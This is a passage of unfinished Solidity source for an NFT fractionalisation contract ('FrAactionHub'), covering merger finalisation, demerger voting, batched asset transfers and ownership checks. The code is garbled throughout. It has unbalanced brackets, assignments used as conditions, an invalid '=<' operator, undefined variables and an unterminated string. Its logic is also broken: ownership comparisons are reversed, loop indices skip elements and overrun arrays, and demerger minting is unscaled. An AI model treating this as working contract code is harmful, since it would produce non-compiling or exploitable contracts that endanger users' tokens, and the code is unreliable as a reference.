agreedReserveTotal = FraactionInterface(target).targetReserveTotal(address(this));
}
if (sameReserveCurrency[target]) {
newShareFrom = totalSupply() * agreedReserveTotalFrom / agreedReserveTotal;
} else {
if (exitInGhst) {
newShareFrom = totalSupply() * (agreedReserveTotalFrom * (ISettings(settingsContract).convertFundingPrice(1) / 10**8)) / agreedReserveTotal;
} else {
newShareFrom = totalSupply() * (agreedReserveTotalFrom * (ISettings(settingsContract).convertFundingPrice(0) / 10**8)) / agreedReserveTotal;
}
}
if (ownersFrom.length > maxOwnersArrayLength) {
if (ownersFrom.length % maxOwnersArrayLength > 0) {
multiple = ownersFrom.length / maxOwnersArrayLength + 1;
} else {
multiple = ownersFrom.length / maxOwnersArrayLength;
}
split = 7;
splitCounter++;
}
endIndex = maxOwnersArrayLength;
} else {
if (ownersFrom.length % maxOwnersArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxOwnersArrayLength + 1;
endIndex = ownersFrom.length;
} else {
startIndex = splitCounter * maxOwnersArrayLength + 1;
endIndex = (splitCounter + 1) * maxOwnersArrayLength;
}
splitCounter++;
}
bool existing;
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
merging = false;
totalTreasuryInGhst += FraactionInterface(target).totalTreasuryInGhst();
totalTreasuryInMatic += FraactionInterface(target).totalTreasuryInMatic();
FraactionInterface(target).confirmFinalizedMerger();
delete initiatedMergerTo[target];
delete proposedMergerFrom[target];
delete targetReserveTotal[target];
delete proposedTakeoverFrom;
delete proposedValuation;
delete proposedValuationFrom;
mergerStatus = MergerStatus.INACTIVE;
emit MergerFinalized(target);
}
if (endIndex > ownersFrom.length) endIndex = ownersFrom.length;
if (startIndex > ownersFrom.length) return;
uint256 tokenSupplyFrom = FraactionInterface(target).totalSupply();
for (uint i = startIndex; i < endIndex; i++) {
for (uint j = 0; j < ownersAddress.length; j++) {
if (ownersFrom[i] == ownersAddress[j]) {
existing = true;
}
}
if (existing == false) ownersAddress.push(ownersFrom[i]);
mint(
ownersFrom[i],
newShareFrom * FraactionInterface(target).balanceOf(ownersFrom[i]) / tokenSupplyFrom
);
}
claimReward(msg.sender);
}
function transferRealms() internal {
uint256 arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
arrayLength = votedRealms[votedIndexRealms[votedIndex].length;
} else {
arrayLength = DiamondInterface(realmsContract).tokenIdsOfOwner(address(this)).length;
}
uint256[] memory realmsId = new uint256[](arrayLength);
if (demergerStatus == DemergerStatus.ACTIVE) {
realmsId = votedRealms[votedIndexRealms[votedIndex]];
} else {
realmsId = DiamondInterface(realmsContract).tokenIdsOfOwner(address(this));
}
uint256 startIndex;
uint256 endIndex = realmsId.length;
if (split == 0) {
maxRealmsArrayLength = ISettings(settingsContract).maxRealmsArrayLength();
if (realmsId.length > maxRealmsArrayLength) {
endIndex = maxRealmsArrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
if (realmsId.length % maxRealmsArrayLength > 0) {
multiple = realmsId.length / maxRealmsArrayLength + 1;
} else {
multiple = realmsId.length / maxRealmsArrayLength;
}
split = 1;
splitCounter++;
}
}
} else {
if (realmsId.length % maxRealmsArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxRealmsArrayLength + 1;
endIndex = realmsId.length;
} else {
startIndex = splitCounter * maxRealmsArrayLength + 1;
endIndex = (splitCounter + 1) * maxRealmsArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split) {
split = 0;
splitCounter = 0;
multiple = 0;
}
emit TransferredRealms(transferTo);
}
if (_endIndex > realmsId.length) _endIndex = realmsId.length;
if (_startIndex > realmsId.length) return;
uint256[] memory batchIds = new uint256[](endIndex - startIndex + 1);
for (uint i = _startIndex; i < _endIndex; i++) {
batchIds[i] = realmsId[i];
}
RealmsInterface(realmsContract).safeBatchTransfer(address(this), target, batchIds, new bytes(0));
}
function transferNfts() internal {
uint256 arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
arrayLength = votedNfts[votedIndexNfts[votedIndex].length;
} else {
arrayLength = DiamondInterface(diamondContract).tokenIdsOfOwner(address(this)).length;
}
uint256[] memory nftsIds = new uint256[](arrayLength);
if (demergerStatus == DemergerStatus.ACTIVE) {
nftIds = votedNfts[votedIndexNfts[votedIndex]];
} else {
nftIds = DiamondInterface(diamondContract).tokenIdsOfOwner(address(this));
}
uint256 startIndex;
uint256 endIndex = nftsIds.length;
if (split == 0) {
maxNftArrayLength = ISettings(settingsContract).maxNftArrayLength();
if (nftIds.length > maxNftArrayLength) {
endIndex = maxNftArrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
if (nftIds.length % maxNftArrayLength > 0) {
multiple = nftIds.length / maxNftArrayLength + 1;
} else {
multiple = nftIds.length / maxNftArrayLength;
}
split = 2;
splitCounter++;
}
}
} else {
if (nftIds.length % maxNftArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxNftArrayLength + 1;
endIndex = nftIds.length;
} else {
startIndex = splitCounter * maxNftArrayLength + 1;
endIndex = (splitCounter + 1) * maxNftArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
emit TransferredNfts(target);
}
if (endIndex > nftIds.length) endIndex = nftIds.length;
if (startIndex > nftIds.length) return;
uint256[] memory batchIds = new uint256[](endIndex - startIndex + 1);
for (uint i = startIndex; i < endIndex; i++) {
batchIds[i] = nftIds[i];
}
DiamondInterface(diamondContract).safeBatchTransferFrom(address(this), target, batchIds, new bytes(0));
}
function transferItems() internal {
require(
msg.sender == target,
"transferItems: caller not approved"
);
require(
mergerStatus == MergerStatus.ACTIVE ||
demergerStatus == DemergerStatus.ACTIVE,
"transferItems: merger, transfer or demerger not active"
);
uint256 arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
arrayLength = votedItemsDemerger[votedIndexItems[votedIndex]].length;
} else {
ItemIdIO[] memory items = DiamondInterface(diamondContract).itemBalances(this.address);
arrayLength = items.length;
}
ItemIdIO[] memory items = new ItemIdIO[](arrayLength);
uint256[] memory ids = new uint256[](arrayLength);
uint256[] memory quantities = new uint256[](arrayLength);
uint256 startIndex;
uint256 endIndex = arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
ids = votedItems[votedIndexItems[votedIndex]];
quantities = votedItemsQuantity[votedIndexItemsQuantity[votedIndex]];
endIndex = ids.length;
} else {
items = DiamondInterface(diamondContract).itemBalances(this.address);
endIndex = items.length;
}
if (split == 0) {
maxItemsArrayLength = ISettings(settingsContract).maxItemsArrayLength();
if (arrayLength > maxItemsArrayLength) {
endIndex = maxItemsArrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
if (arrayLength % maxItemsArrayLength > 0) {
multiple = arrayLength / maxItemsArrayLength + 1;
} else {
multiple = arrayLength / maxItemsArrayLength;
}
split = 3;
splitCounter++;
}
}
{
bool exist;
uint256[] memory idsTickets = new uint256[](7);
uint256[] memory quantityTickets = new uint256[](7);
if (demergerStatus == DemergerStatus.ACTIVE) {
quantityTickets = votedTicketsQuantity[votedIndexTicketsQuantity[votedIndex]];
} else {
quantityTickets = DiamondInterface(stakingContract).balanceOfAll(this.address);
}
for (uint i = 0; i < idsTickets.length; i++) {
idsTickets[i] = i;
if (exist == false) {
if (quantityTickets[i] > 0) exist = true;
}
}
if (exist == true) {
IERC1155Upgradeable(stakingContract).safeBatchTransferFrom(address(this), target, idsTickets, quantityTickets, new bytes(0));
}
}
} else {
if (ids.length % maxItemsArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxItemsArrayLength + 1;
endIndex = ids.length;
} else {
startIndex = splitCounter * maxItemsArrayLength + 1;
endIndex = (splitCounter + 1) * maxItemsArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
emit TransferredItems(target);
}
if (endIndex > ids.length) endIndex = ids.length;
if (startIndex > ids.length) return;
uint256[] memory batchIds = new uint256[](endIndex - startIndex + 1);
uint256[] memory batchQuantities = new uint256[](endIndex - startIndex + 1);
for (uint i = startIndex; i < endIndex; i++) {
if (mergerStatus = MergerStatus.ACTIVE) {
batchIds[i] = items[i].itemId;
batchQuantities[i] = items[i].balance;
} else {
batchIds[i] = ids[i];
batchQuantities[i] = quantities[i];
}
}
IERC1155Upgradeable(stakingContract).safeBatchTransferFrom(address(this), target, batchIds, batchQuantities, new bytes(0));
}
function transferExternalErc20() internal {
uint256 arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
arrayLength = votedExtErc20[votedIndexExtErc20[votedIndex]].length;
} else {
arrayLength = erc20Tokens.length;
}
uint256[] memory erc20Address = new uint256[](arrayLength);
uint256[] memory erc20Value = new uint256[](arrayLength);
if (demergerStatus == DemergerStatus.ACTIVE) {
erc20Value = votedExtErc20Value[votedIndexExtErc20[votedIndex]];
erc20Address = votedExtErc20Address[votedIndexExtErc20Address[votedIndex]];
} else {
for (uint i = 0; i < erc20Tokens.length; i++) {
erc20Value = ownedErc20[erc20Tokens[i]];
}
erc20Address = erc20Tokens;
}
uint256 startIndex;
uint256 endIndex = erc20Value.length;
if (split == 0) {
maxExtErc20ArrayLength = ISettings(settingsContract).maxExtErc20ArrayLength();
if (erc20Value.length > maxExtErc20ArrayLength) {
endIndex = maxExtErc20ArrayLength;
if (erc20Value.length % maxExtErc20ArrayLength > 0) {
multiple = erc20Value.length / maxExtErc20ArrayLength + 1;
} else {
multiple = erc20Value.length / maxExtErc20ArrayLength;
}
split = 6;
splitCounter++;
}
} else {
if (erc20Value.length % maxExtErc20ArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxExtErc20ArrayLength + 1;
endIndex = erc20Value.length;
} else {
startIndex = splitCounter * maxExtErc20ArrayLength + 1;
endIndex = (splitCounter + 1) * maxExtErc20ArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
emit TransferredExtErc20(target);
}
if (endIndex > erc20Value.length) endIndex = erc20Value.length;
if (startIndex > erc20Value.length) return;
uint256 assetCounter;
address replace;
for (uint i = startIndex; i < endIndex; i++) {
try LibERC20.transferFrom(erc20Address[i], addresse(this), target, erc20Value[i]) {
ownedErc20[erc20Address[i]] -= erc20Value[i];
if (ownedErc20[erc20Address[i]] == 0 && demergerStatus == DemergerStatus.ACTIVE) {
replace = erc20Tokens[erc20Tokens.length - 1];
erc20Tokens[erc20Index[erc20Address[i]]] = replace;
erc20Index[replace] = erc20Index[erc20Address[i]];
delete erc20Index[erc20Address[i]];
erc20Tokens.pop();
}
if (mergerStatus == MergerStatus.ACTIVE) delete erc20Index[erc20Address[i]];
} catch {
nonTransferredAssets++;
emit NonTransferredErc20(erc20Address[i], erc20Value[i]);
}
}
if (mergerStatus == MergerStatus.ACTIVE) extAssetsTansferred += assetCounter;
}
function transferExternalNfts() internal {
uint256 arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
arrayLength = votedExtNfts[votedIndexExtNfts[votedIndex].length;
} else {
arrayLength = nfts.length;
}
uint256[] memory nftsAddress = new uint256[](arrayLength);
uint256[] memory nftsId = new uint256[](arrayLength);
if (demergerStatus == DemergerStatus.ACTIVE) {
nftsId = votedExtNfts[votedIndexExtNfts[votedIndex]];
nftsAddress = votedExtNftsAddress[votedIndexExtAddress[votedIndex]];
} else {
for (uint i = 0; i < nfts.length; i++) {
nftsId = nfts[i].id;
}
nftsAddress = nfts;
}
uint256 startIndex;
uint256 endIndex = nftsId.length;
if (split == 0) {
maxExtNftArrayLength = ISettings(settingsContract).maxExtNftArrayLength();
if (nftsId.length > maxExtNftArrayLength) {
endIndex = maxExtNftArrayLength;
if (nftsId.length % maxExtNftArrayLength > 0) {
multiple = nftsId.length / maxExtNftArrayLength + 1;
} else {
multiple = nftsId.length / maxExtNftArrayLength;
}
split = 4;
splitCounter++;
}
} else {
if (nftsId.length % maxExtNftArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxExtNftArrayLength + 1;
endIndex = nftsId.length;
} else {
startIndex = splitCounter * maxExtNftArrayLength + 1;
endIndex = (splitCounter + 1) * maxExtNftArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
emit TransferredExtNfts(target);
}
if (endIndex > nftsId.length) endIndex = nftsId.length;
if (startIndex > nftsId.length) return;
uint256 assetCounter;
address replace;
for (uint i = startIndex; i < endIndex; i++) {
try IERC721Upgradeable(nftsAddress[i]).safeTransferFrom(address(this), target, nftsId[i]) {
delete ownedNfts[nftAddress[i]][nftsId[i]];
if (demergerStatus == DemergerStatus.ACTIVE) {
replace = nfts[nfts.length - 1];
nfts[nftsIndex[nftsAddress[i]]] = replace;
nftsIndex[replace] = nftsIndex[nftsAddress[i]];
delete nftsIndex[nftsAddress[i]];
nfts.pop();
}
if (mergerStatus == MergerStatus.ACTIVE) delete nftsIndex[nftsAddress[i]];
} catch {
nonTransferredAssets++;
emit NonTransferredNfts(nftsAddress[i], nftsId[i]);
}
}
}
function transferExternal1155() internal {
uint256 arrayLength;
if (demergerStatus == DemergerStatus.ACTIVE) {
arrayLength = votedExt1155Transfer[votedIndexExt1155[votedIndex]].length;
} else {
arrayLength = erc1155Tokens.length;
}
uint256[] memory ids1155 = new uint256[](arrayLength);
uint256[] memory quantity1155 = new uint256[](arrayLength);
address[] memory address1155 = new uint256[](arrayLength);
if (demergerStatus == DemergerStatus.ACTIVE) {
ids1155 = votedExt1155[votedIndexExt1155[votedIndex]];
quantity1155 = votedExt1155Quantity[votedIndexExt1155Quantity[votedIndex]];
address1155 = votedExt1155Address[votedIndexExt1155Address[votedIndex]];
} else {
for (uint i = 0; i < erc1155Tokens.length; i++) {
ids1155 = erc1155Tokens[i].id;
quantity1155 = erc1155Tokens[i].quantity;
}
address1155 = erc1155Tokens;
}
uint256 startIndex;
uint256 endIndex = ids1155.length;
if (split == 0) {
maxExt1155ArrayLength = ISettings(settingsContract).maxExt1155ArrayLength();
if (ids1155.length > maxExtItemsArrayLength) {
endIndex = maxExtItemsArrayLength;
if (ids1155.length % maxExtItemsArrayLength > 0) {
multiple = ids1155.length / maxExtItemsArrayLength + 1;
} else {
multiple = ids1155.length / maxExtItemsArrayLength;
}
split = 5;
splitCounter++;
}
} else {
if (ids1155.length % maxExtItemsArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxExtItemsArrayLength + 1;
endIndex = ids1155.length;
} else {
startIndex = splitCounter * maxExtItemsArrayLength + 1;
endIndex = (splitCounter + 1) * maxExtItemsArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
emit TransferredExt1155(target);
}
if (endIndex > ids1155.length) endIndex = ids1155.length;
if (startIndex > ids1155.length) return;
uint256 assetCounter;
for (uint i = startIndex; i < endIndex; i++) {
if (address1155[i] == address(0)) continue;
uint256 redundancyCounter;
redundancyCounter++;
address replace;
uint256[] memory indexRedundancy = new indexRedundancy[](endIndex - startIndex + 1);
for (uint j = i + 1; j < endIndex; j++) {
if (address1155[j] == address(0)) continue;
if (address1155[i] == address1155[j]) {
ownedErc1155[address1155[j]][ids1155[j]] -= quantity1155[j];
if (demergerStatus == DemergerStatus.ACTIVE && ownedErc1155[address1155[j]][ids1155[j]] == 0) {
erc1155Tokens[j] = erc1155Tokens[erc1155Tokens.length - 1];
erc1155Tokens.pop();
replace = erc1155Tokens[erc1155Tokens.length - 1];
erc1155Tokens[erc1155Index[address1155[i]]] = replace;
erc1155Index[replace] = erc1155Index[address1155[j]];
delete nftsIndex[address1155[j]];
erc1155Tokens.pop();
}
if (mergerStatus == MergerStatus.ACTIVE) delete erc1155Index[address1155[i]];
indexRedundancy[redundancyCounter] = j;
delete address1155[j];
redundancyCounter++;
}
uint256 indexCounter;
uint256[] memory batchIds = new uint256[](redundancyCounter);
uint256[] memory batchQuantity = new uint256[](redundancyCounter);
batchIds[indexCounter] = ids1155[i];
batchQuantity[indexCounter] = quantity1155[i];
indexCounter++;
for (uint k = 1; k < redundancyCounter; k++) {
batchIds[indexCounter] = ids1155[indexRedundancy[k]];
batchQuantity[indexCounter] = quantity1155[indexRedundancy[k]];
indexCounter++;
}
try IERC1155Upgradeable(address1155[i]).safeBatchTransferFrom(address(this), target, batchIds, batchQuantity, new bytes(0)) {
ownedErc1155[address1155[i]][ids1155[i]] -= quantity1155[i];
if (demergerStatus == DemergerStatus.ACTIVE && ownedErc1155[address1155[i]][ids1155[i]] == 0) {
erc1155Tokens[i] = erc1155Tokens[erc1155Tokens.length - 1];
erc1155Tokens.pop();
replace = erc1155Tokens[erc1155Tokens.length - 1];
erc1155Tokens[erc1155Index[address1155[i]]] = replace;
erc1155Index[replace] = erc1155Index[address1155[i]];
delete nftsIndex[address1155[i]];
erc1155Tokens.pop();
}
} catch {
nonTransferredAssets += redundancyCounter;
emit NonTransferredErc1155(address1155[i], batchIds, batchQuantity);
}
redundancyCounter = 0;
}
}
}
function voteForDemerger(
uint256[] calldata _nftsId,
uint256[] calldata _extNftsId,
uint256[] calldata _ext1155Id,
uint256[] calldata _realmsId,
uint256[] calldata _itemsId,
uint256[] calldata _itemsQuantity,
uint256[] calldata _extErc20Value,
uint256[] calldata _ext1155Quantity,
uint256[7] calldata _ticketsQuantity,
address[] calldata _extErc20Address,
address[] calldata _extNftsAddress,
address[] calldata _ext1155Address,
uint256 _idToVoteFor,
string calldata _name,
string calldata _symbol
) external nonReentrant {
require(
fundingStatus == FundingStatus.INACTIVE,
"voteForDemerger: FrAactionHub not fractionalized yet"
);
require(
balanceOf(msg.sender) > 0,
"voteForDemerger: user not an owner of the FrAactionHub"
);
require(
demergerStatus == DemergerStatus.INACTIVE,
"voteForDemerger: user not an owner of the FrAactionHub"
);
require(
mergerStatus == MergerStatus.INACTIVE,
"voteForDemerger: active merger"
);
require(
_itemsId.length == _itemsQuantity.length &&
_extNftsId.length == _extNftsAddress.length &&
_ext1155Id.length == _ext1155Address.length &&
_ext1155Address.length == _ext1155Quantity.length &&,
"voteForDemerger: input arrays lengths are not matching"
);
require(
_nftsId.length +
_realmsId.length +
_itemsId.length +
_itemsQuantity.length +
_ticketsQuantity.length +
_extNftsId.length +
_extNftsAddress.length +
_ext1155Id.length +
_ext1155Quantity.length +
_ext1155Address.length +
=< ISettings(settingsContract).MaxTransferLimit(),
"voteForDemerger: cannot transfer more than the GovSettings allowed limit"
);
if (_nftsId.length > 0 ||
_realmsId.length > 0 ||
_itemsId.length > 0 ||
_ticketsId.length > 0 ||
_extNftsId.length > 0 ||
_ext1155Id.length > 0
) {
require(
_idToVoteFor == votedIndex,
"voteFordemerger: user submitting a new demerger has to vote for it"
);
ownershipCheck(
_nftsId,
_realmsId,
_itemsId,
_itemsQuantity,
_ticketsQuantity,
true
);
ownershipCheckExt(
_extNftsId,
_ext1155Id,
_extErc20Value,
_ext1155Quantity,
_extErc20Address,
_extNftsAddress,
_ext1155Address,
true
);
votedIndex++;
}
if (votersDemerger[msg.sender][_idToVoteFor] == true) {
if (balanceOf(msg.sender) != currentDemergerBalance[msg.sender][_idToVoteFor])
votesTotalDemerger[_idToVoteFor] -= currentDemergerBalance[msg.sender][_idToVoteFor];
} else {
votersDemerger[msg.sender][_idToVoteFor] = true;
}
if (_name != "" && _symbol != "") {
if (demergerName[_idToVoteFor] == "" && demergerSymbol[_idToVoteFor] == "") {
demergerName[_idToVoteFor] = _name;
demergerSymbol[_idToVoteFor] = _symbol;
}
}
if (balanceOf(msg.sender) != currentDemergerBalance[msg.sender][_idToVoteFor]) {
votesTotalDemerger[_idToVoteFor] += balanceOf(msg.sender);
currentDemergerBalance[msg.sender][_idToVoteFor] = balanceOf(msg.sender);
}
if (votesTotalDemerger[_idToVoteFor] * 1000 >= ISettings(settingsContract).minDemergerVotePercentage() * totalSupply()) {
ownershipCheck(
_nftsId,
_realmsId,
_itemsId,
_itemsQuantity,
_ticketsQuantity,
false
);
ownershipCheckExt(
_extNftsId,
_ext1155Id,
_extErc20Value,
_ext1155Quantity,
_extErc20Address,
_extNftsAddress,
_ext1155Address,
false
);
address fraactionFactoryContract = ISettings(settingsContract).fraactionFactoryContract();
(bool success, bytes memory returnData) =
fraactionFactoryContract.call(
abi.encodeWithSignature(
"startFraactionHub(
string,
string,
address
)",
demergerName[_idToVoteFor],
demergerSymbol[_idToVoteFor],
address(this)
)
);
require(
success,
string(
abi.encodePacked(
"voteForDemerger: mergerFrom order failed: ",
returnData
)
)
);
target = abi.decode(returnData, (address));
votedIndex = _idToVoteFor;
demergerStatus = DemergerStatus.ACTIVE;
emit DemergerActive(target, demergerName[_idToVoteFor], demergerSymbol[_idToVoteFor]);
claimReward(msg.sender);
}
}
function demergeTo() external nonReentrant {
require(
demergerStatus == DemergerStatus.ACTIVE,
"demergeTo: demerger not active"
);
if (!realmsTransferred || split = 1) {
transferRealms();
if (split == 0) realmsTransferred = true;
} else if (!nftsTransferred || split = 2) {
transferNfts();
if (split == 0) nftsTransferred = true;
} else if (!itemsTransferred || split = 3) {
transferItems();
if (split == 0) itemsTransferred = true;
} else if (!extNftsTransferred || split = 4) {
transferExternalNfts();
if (split == 0) extNftsTransferred = true;
} else if (!ext1155Transferred || split = 5) {
transferExternal1155();
if (split == 0) ext1155Transferred = true;
} else if (!extErc20Transferred || split = 6) {
transferExternalErc20();
if (split == 0) extErc20Transferred = true;
} else {
demergerStatus = DemergerStatus.INACTIVE;
FraactionInterface(target).confirmDemerger();
realmsTransferred = false;
nftsTransferred = false;
itemsTransferred = false;
extNftsTransferred = false;
ext1155Transferred = false;
extErc20Transferred = false;
DemergerAssetsTransferred(address(this));
}
claimReward(msg.sender);
}
function finalizeDemerger() external nonReentrant {
require(
demergerStatus == DemergerStatus.ASSETSTRANSFERRED,
"finalizeDemerger: demerger assets not transferred yet"
);
address[] memory ownersFrom = FraactionInterface(target).getOwners();
uint256 startIndex = 0;
uint256 endIndex = ownersFrom.length;
if (split == 0) {
maxOwnersArrayLength = ISettings(settingsContract).maxOwnersArrayLength();
if (ownersFrom.length > maxOwnersArrayLength) {
if (ownersFrom.length % maxOwnersArrayLength > 0) {
multiple = ownersFrom.length / maxOwnersArrayLength + 1;
} else {
multiple = ownersFrom.length / maxOwnersArrayLength;
}
split = 7;
splitCounter++;
}
endIndex = maxOwnersArrayLength;
} else {
if (ownersFrom.length % maxOwnersArrayLength > 0 && splitCounter == multiple - 1) {
startIndex = splitCounter * maxOwnersArrayLength + 1;
endIndex = ownersFrom.length;
} else {
startIndex = splitCounter * maxOwnersArrayLength + 1;
endIndex = (splitCounter + 1) * maxOwnersArrayLength;
}
splitCounter++;
}
if (splitCounter == multiple) {
if (split > 0) {
split = 0;
splitCounter = 0;
multiple = 0;
}
demergerStatus = DemergerStatus.INACTIVE;
target = address(0);
emit DemergerFinalized(target);
}
if (endIndex > ownersFrom.length) endIndex = ownersFrom.length;
if (startIndex > ownersFrom.length) return;
bool existing;
for (uint i = startIndex; i < endIndex; i++) {
ownersAddress.push(ownersFrom[i]);
mint(
ownersFrom[i],
FraactionInterface(target).balanceOf(ownersFrom[i])
);
}
claimReward(msg.sender);
}
function confirmDemerger() external {
require(
msg.sender == target,
"confirmDemerger: caller is not the demerger parent contract"
);
require(
demergerStatus == DemergerStatus.ACTIVE,
"confirmDemerger: demerger is not active
);
demergerStatus = DemergerStatus.ASSETSTRANSFERRED;
DemergerAssetsTransferred(address(this));
}
function ownershipCheck(
uint256[] memory _nftsId,
uint256[] memory _realmsId,
uint256[] memory _itemsId,
uint256[] memory _itemsQuantity,
uint256[7] memory _ticketsQuantity,
bool _saveParams
) internal {
uint256 counterOwned;
if (_nftsId.length > 0) {
uint32[] memory nftsId = DiamondInterface(diamondContract).tokenIdsOfOwner(address(this));
for (uint i = 0; i < _nftsId.length; i++) {
for (uint j = 0; j < nftsId.length; j++) {
if (_nftsId[i] == nftsId[j]) {
counterOwned++;
break;
}
}
}
}
if (_realmsId.length > 0) {
uint32[] memory realmsId = DiamondInterface(realmsContract).tokenIdsOfOwner(address(this));
for (uint i = 0; i < _realmsId.length; i++) {
for (uint j = 0; j < realmsId.length; j++) {
if (_realmsId[i] == realmsId[j]) {
counterOwned++;
break;
}
}
}
}
if (_itemsId.length > 0) {
ItemIdIO[] memory balance = DiamondInterface(diamondContract).itemBalances(address(this));
for (uint i = 0; i < _itemsId.length; i++) {
require(
_itemsQuantity[i] > 0,
"ownershipCheck: invalid item quantity"
);
for (uint j = 0; j < balance.length; j++) {
if (_itemsId[i] == balance[j].itemId) {
require(
_itemsQuantity[i] <= balance[j].balance,
"ownershipCheck: proposed item quantities have to be equal or inferior to the owned items quantities"
);
counterOwned++;
break;
}
}
}
}
if (_ticketsQuantity.length > 0) {
bool check;
uint256[] memory ticketsCurrentQuantity = DiamondInterface(stakingContract).balanceOfAll(address(this));
for (uint i = 0; i < _ticketsQuantity.length; i++) {
if (_ticketsQuantity[i] == 0) check = true;
require(
_ticketsQuantity[i] <= ticketsCurrentQuantity[i],
"ownershipCheck: proposed tickets quantities have to be equal or inferior to the owned tickets quantities"
);
counterOwned++;
}
require(
!check,
"ownershipCheck: a ticket quantity has to be provided"
);
}
require(
counterOwned == _nftsId.length + _realmsId.length + _itemsId.length + _ticketsQuantity.length,
"ownershipCheck: one token or more is not owned by the FrAactionHub"
);
if (_saveParams) {
if (_nftsId.length > 0) {
votedIndexNfts[votedIndex] = votedNfts.length;
votedNfts.push(_nftsId);
}
if (_realmsId.length > 0) {
votedIndexRealms[votedIndex] = votedRealms.length;
votedRealms.push(_realmsId);
}
if (_itemsId.length > 0) {
votedIndexItems[votedIndex] = votedItems.length;
votedItems.push(_itemsId);
votedIndexItemsQuantity[votedIndex] = votedItemsQuantity.length;
votedItemsQuantity.push(_itemsQuantity);
}
if (_ticketsQuantity.length > 0) {
votedIndexTicketsQuantity[votedIndex] = votedTicketsQuantity.length;
votedTicketsQuantity.push(_ticketsQuantity);
}
}
}
function ownershipCheckExt(
uint256[] memory _extNftsId,
uint256[] memory _ext1155Id,
uint256[] memory _extErc20Value,
uint256[] memory _ext1155Quantity,
address[] memory _extErc20Address,
address[] memory _extNftsAddress,
address[] memory _ext1155Address,
bool _saveParams
) internal {
uint256 counterOwned;
if (_extNftsId.length > 0) {
for (uint i = 0; i < _extNftsId.length; i++) {
require(
_extNftsAddress[i] != address(0),
"ownershipCheckExt: invalid NFT address"
);
if (ownedNfts[_extNftsAddress[i]][_extNftsId[i]] == true) counterOwned++;
}
}
if (_extErc20Value.length > 0) {
for (uint i = 0; i < _extErc20Value.length; i++) {
require(
_extErc20Value[i] > 0 && _extErc20Address[i] != address(0),
"ownershipCheckExt: invalid item quantity or address"
);
require(
ownedErc20[_extErc20Address[i]] <= _extErc20Value[i],
"ownershipCheckExt: proposed item quantities have to be equal or inferior to the owned items quantities"
);
counterOwned++;
}
}
if (_ext1155Id.length > 0) {
for (uint i = 0; i < _ext1155Id.length; i++) {
require(
_ext1155Quantity[i] > 0 && _ext1155Address[i] != address(0),
"ownershipCheckExt: invalid item quantity or address"
);
require(
ownedErc1155[_ext1155Address[i]][_ext1155Id[i]] <= _ext1155Quantity[i],
"ownershipCheckExt: proposed item quantities have to be equal or inferior to the owned items quantities"
);
counterOwned++;
}
}
require(
counterOwned == _extErc20Value.length + _extNftsId.length + _ext1155Id.length,
"ownershipCheckExt: one token or more is not owned by the FrAactionHub"
);
}
if (_saveParams) {
if (_extErc20Value.length > 0) {
votedIndexExtErc20Value[votedIndex] = votedExtErc20Value.length;
votedExtErc20Value.push(_extErc20Value);
votedIndexExtErc20Address[votedIndex] = votedExtErc20Address.length;
votedExtErc20Address.push(_extErc20Address);
}
if (_extNftsId.length > 0) {
votedIndexExtNfts[votedIndex] = votedExtNfts.length;
votedExtNfts.push(_extNftsId);
votedIndexExtAddress[votedIndex] = votedExtAddress.length;
votedExtAddress.push(_extNftsAddress);
}
if (_ext1155Id.length > 0) {
votedIndexExt1155[votedIndex] = votedExt1155.length;
votedExt1155.push(_ext1155Id);
votedIndexExt1155Quantity[votedIndex] = votedExt1155Quantity.length;
votedExt1155Quantity.push(_ext1155Quantity);
votedIndexExt1155Address[votedIndex] = votedExt1155Address.length;
votedExt1155Address.push(_ext1155Address);
}
}
}
/// @notice a function for an end user to update their desired sale price
/// @param _new the desired price in GHST
function updateUserPrice(uint256 _new) external {
require(
balanceOf(msg.sender) > 0,
"updateUserPrice: user not an owner of the FrAactionHub"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"updatePrice: auction live cannot update price"
);
require(
initialized == true,
"updatePrice: FrAactionHub not fractionalized yet"
);
uint256 old = userPrices[msg.sender];
require(
_new != old,
"updatePrice:not an update"
);
uint256 weight = balanceOf(msg.sender);
if (votingTokens == 0) {
votingTokens = weight;
reserveTotal = weight * _new;
}
// they are the only one voting
else if (weight == votingTokens && old != 0) {
reserveTotal = weight * _new;
}
// previously they were not voting
else if (old == 0) {
uint256 averageReserve = reserveTotal / votingTokens;
uint256 reservePriceMin = averageReserve * ISettings(settingsContract).minReserveFactor() / 1000;
require(
_new >= reservePriceMin,
"updatePrice:reserve price too low"
);
uint256 reservePriceMax = averageReserve * ISettings(settingsContract).maxReserveFactor() / 1000;
require(
_new <= reservePriceMax,
"update:reserve price too high"
);
votingTokens += weight;
reserveTotal += weight * _new;
}
// they no longer want to vote
else if (_new == 0) {
votingTokens -= weight;
reserveTotal -= weight * old;
}
// they are updating their vote
else {
